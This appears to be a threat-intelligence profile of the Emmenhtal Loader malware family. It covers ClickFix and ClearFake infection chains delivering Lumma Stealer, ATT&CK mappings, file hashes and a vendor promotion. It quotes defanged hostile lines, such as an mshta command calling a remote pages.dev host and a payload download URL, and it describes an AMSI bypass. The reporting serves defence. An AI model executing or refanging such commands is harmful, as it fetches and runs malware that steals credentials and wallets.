Skip to main content
Mallory
Back to malware
MalwareUsed by 1 actor

Emmenhtal Loader

Emmenhtal Loader is a multi-stage malware loader used to deliver commodity malware, particularly information stealers. The provided reporting links it most directly to delivery of Lumma Stealer, and also refers to it by the alias PEAKLIGHT. Multiple sources describe Emmenhtal Loader being used in ClickFix-style and MSHTA-based infection chains in which victims are socially engineered into executing malicious commands, often through fake CAPTCHA, fake human-verification, fake browser error, fake Cloudflare Turnstile, or fake reCAPTCHA pages. In these chains, users are instructed to paste commands into the Windows Run dialog, after which mshta.exe retrieves or executes remote HTA/script content, frequently in memory. Reporting also states that malicious PowerShell commands executed mshta.exe against remote scripts masquerading as media files such as MP3, MP4, and M4A.

The content specifically identifies an Emmenhtal Loader version 2. TDR analysts identified a script as the initial stage of Emmenhtal Loader v2, and Sekoia identified the remote script launched by ClearFake-distributed PowerShell commands as Emmenhtal Loader v2. In the analyzed chains, Emmenhtal Loader ultimately deployed Lumma Stealer. Bitdefender also described Emmenhtal Loader activity in Discord phishing and fake verification campaigns where the HTA payload was executed directly in memory by mshta.exe, padded with garbage data to hinder analysis, and followed by a PowerShell stage that downloaded and executed a remote script in memory without writing it to disk. One analyzed PowerShell stage included an AMSI bypass by patching clr.dll before decoding and loading a .NET assembly in memory; the final assembly in that case was a LummaStealer payload.

Emmenhtal Loader is associated in the provided content with ClearFake campaigns on compromised websites. ClearFake used ClickFix social engineering and Binance Smart Chain-hosted components to deliver malicious PowerShell commands that launched mshta.exe and fetched Emmenhtal Loader v2. ClearFake previously used fake browser updates and later fake CAPTCHA-style lures to distribute Emmenhtal Loader, with reporting noting that ClearFake's use of ClickFix to deliver Emmenhtal Loader was first recorded in May 2024. The content also states that Emmenhtal Loader has been observed in active MSHTA-abuse campaigns alongside other loaders such as CountLoader.

Targeting in the provided material is broad and opportunistic, centered on Windows users exposed through phishing, Discord messages, compromised websites, fake software/download lures, and ClickFix prompts. The final payload focus described in the reporting is credential theft, session cookie theft, and cryptocurrency wallet theft via Lumma Stealer. High-confidence indicators directly provided for Emmenhtal Loader artifacts include SHA256 hashes AA845A8FB4AB38AEBE6A16A2A8F80CA4467AC0991D3EEF4D8A10BDF97DEDB1E9, 02630FA994B1566AD1515FD87220FC037B967F07495985A3637D68D7E08C57EE, and 1E0E375F3EE82D5AF5DFE6F7DF0E2FAC9A7D37C67ADD3390D05A93AFD85B7C84.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
ClearFake

ClearFake's use of ClickFix was first recorded in May 2024, leveraging CAPTCHA challenges for delivering Emmenhtal Loader (aka PEAKLIGHT), which then drops Lumma Stealer.

via the hacker newsthehackernews.com
MITRE ATT&CK

Techniques & procedures

19 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

4 techniques
T1189Drive-by CompromiseEvidence2

ClearFake is a malicious JavaScript framework deployed on compromised websites to deliver malware through the drive-by download technique.

T1566PhishingEvidence2

In some cases, MSHTA pulls a script from an attacker-controlled server, while in others it sits inside a longer chain involving phishing, fake software downloads, and ClickFix-style social engineering tricks.

T1566.002Spearphishing LinkEvidence2

ClearFake adopted the new social engineering tactic ClickFix, displaying fake error messages in the web browser and deceiving users into copying and executing a given malicious PowerShell code... This latest variant uses fake reCAPTCHA or Cloudflare Turnstile verifications, along with fake technical issues, to trick users into resolving these CAPTCHA challenges and finally executing malicious PowerShell code.

T1566.003Spearphishing via ServiceEvidence1

Attackers send phishing messages on Discord linking to fake verification pages disguised as reCAPTCHA systems.

Execution

6 techniques
T1059Command and Scripting InterpreterEvidence2
TacticExecution

Inside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts that quietly launch the attack in the background.

T1059.001PowerShellEvidence5
TacticExecution

deceiving users into copying and executing a given malicious PowerShell code... Once executed, the PowerShell command infected the user’s system.

T1059.007JavaScriptEvidence1
TacticExecution

HTA files can embed JavaScript and VBScript code, allowing script execution in the context of a trusted, signed process.

T1204User ExecutionEvidence2
TacticExecution

The infection starts when a victim downloads what appears to be free or cracked software... When a user visits one of these pages, JavaScript secretly copies a malicious command to the clipboard and instructs them to press Win + R, paste it, and hit Enter.

T1204.001Malicious LinkEvidence1
TacticExecution

The user is then lured into pressing Win + R to open the Run dialog, followed by Ctrl + V and Enter to paste and execute the command.

T1204.002Malicious FileEvidence1
TacticExecution

The user is then misled into following steps to proceed with verification. The instructions involve opening the Run command window using the shortcut Win+R, copying and pasting a command, and executing it.

Stealth

6 techniques
T1027Obfuscated Files or InformationEvidence3
TacticStealth

the ClearFake operator stored an obfuscated JavaScript, encoded in base64 and converted in hexadecimal, within a smart contract’s Application Binary Interface... These obfuscated PowerShell commands execute Mshta.exe... PowerShell script 3 employs multiple obfuscation techniques: XOR obfuscation, Use of arithmetic expressions, Character conversion, Use of random variable names.

T1036MasqueradingEvidence1
TacticStealth

The victim executes a Setup.exe file, which is in fact a legitimate Python interpreter... The same directory also contains a renamed MSHTA executable, iso2022.exe.

T1140Deobfuscate/Decode Files or InformationEvidence2
TacticStealth

the returned value of the functions of the ABI are strings that are compressed with the gzip algorithm and base64 encoded... atob to decode the base64 then pako.gunzip to decompress... Download the AES key from the contract... decrypt it with the AES-GCM algorithm.

T1218.005MshtaEvidence5
TacticStealth

These obfuscated PowerShell commands execute Mshta.exe with a script hosted on a remote server... The script is the initial stage of Emmenhtal Loader... The ClickFix lure deceived users to execute the following MSHTA command: mshta hxxps://microsoft-dns-reload-1r.pages[.]dev

T1564.003Hidden WindowEvidence1
TacticStealth

First, it sets the MSHTA window to 1x1 pixels, starts it minimized, and hides it from the taskbar to evade detection.

T1620Reflective Code LoadingEvidence2
TacticStealth

Based on Bitdefender's analysis, MSHTA is used as an intermediary step in multi-stage PowerShell attacks before the retrieval of malicious payloads is complete, with attackers executing scripts directly in memory to evade security controls.

Collection

1 technique
T1115Clipboard DataEvidence2

When a user visits one of these pages, JavaScript secretly copies a malicious command to the clipboard and instructs them to press Win + R, paste it, and hit Enter.

T1105Ingress Tool TransferEvidence4

This script downloads malicious code located at hxxps://ty.klipxytozyi[.]shop/kangarooing.bmp... The PowerShell command downloads and executes another PowerShell script from GitHub... This second PowerShell script proceeds to download and execute an executable from GitHub.

Other

1 technique
T1562Impair DefensesEvidence1

The final, deobfuscated version of the PowerShell script consists of two parts. The first one is an AMSI bypass by patching clr.dll...

INDICATORS OF COMPROMISE

IOCs tracked for this family

101 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
42 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
4 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
55 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app16 days ago
uri●●●●●●●●●●●●View more in app16 days ago
domain●●●●●●●●●●●●View more in app16 days ago
domain●●●●●●●●●●●●View more in app16 days ago
domain●●●●●●●●●●●●View more in app16 days ago
domain●●●●●●●●●●●●View more in app16 days ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching101

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping19

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.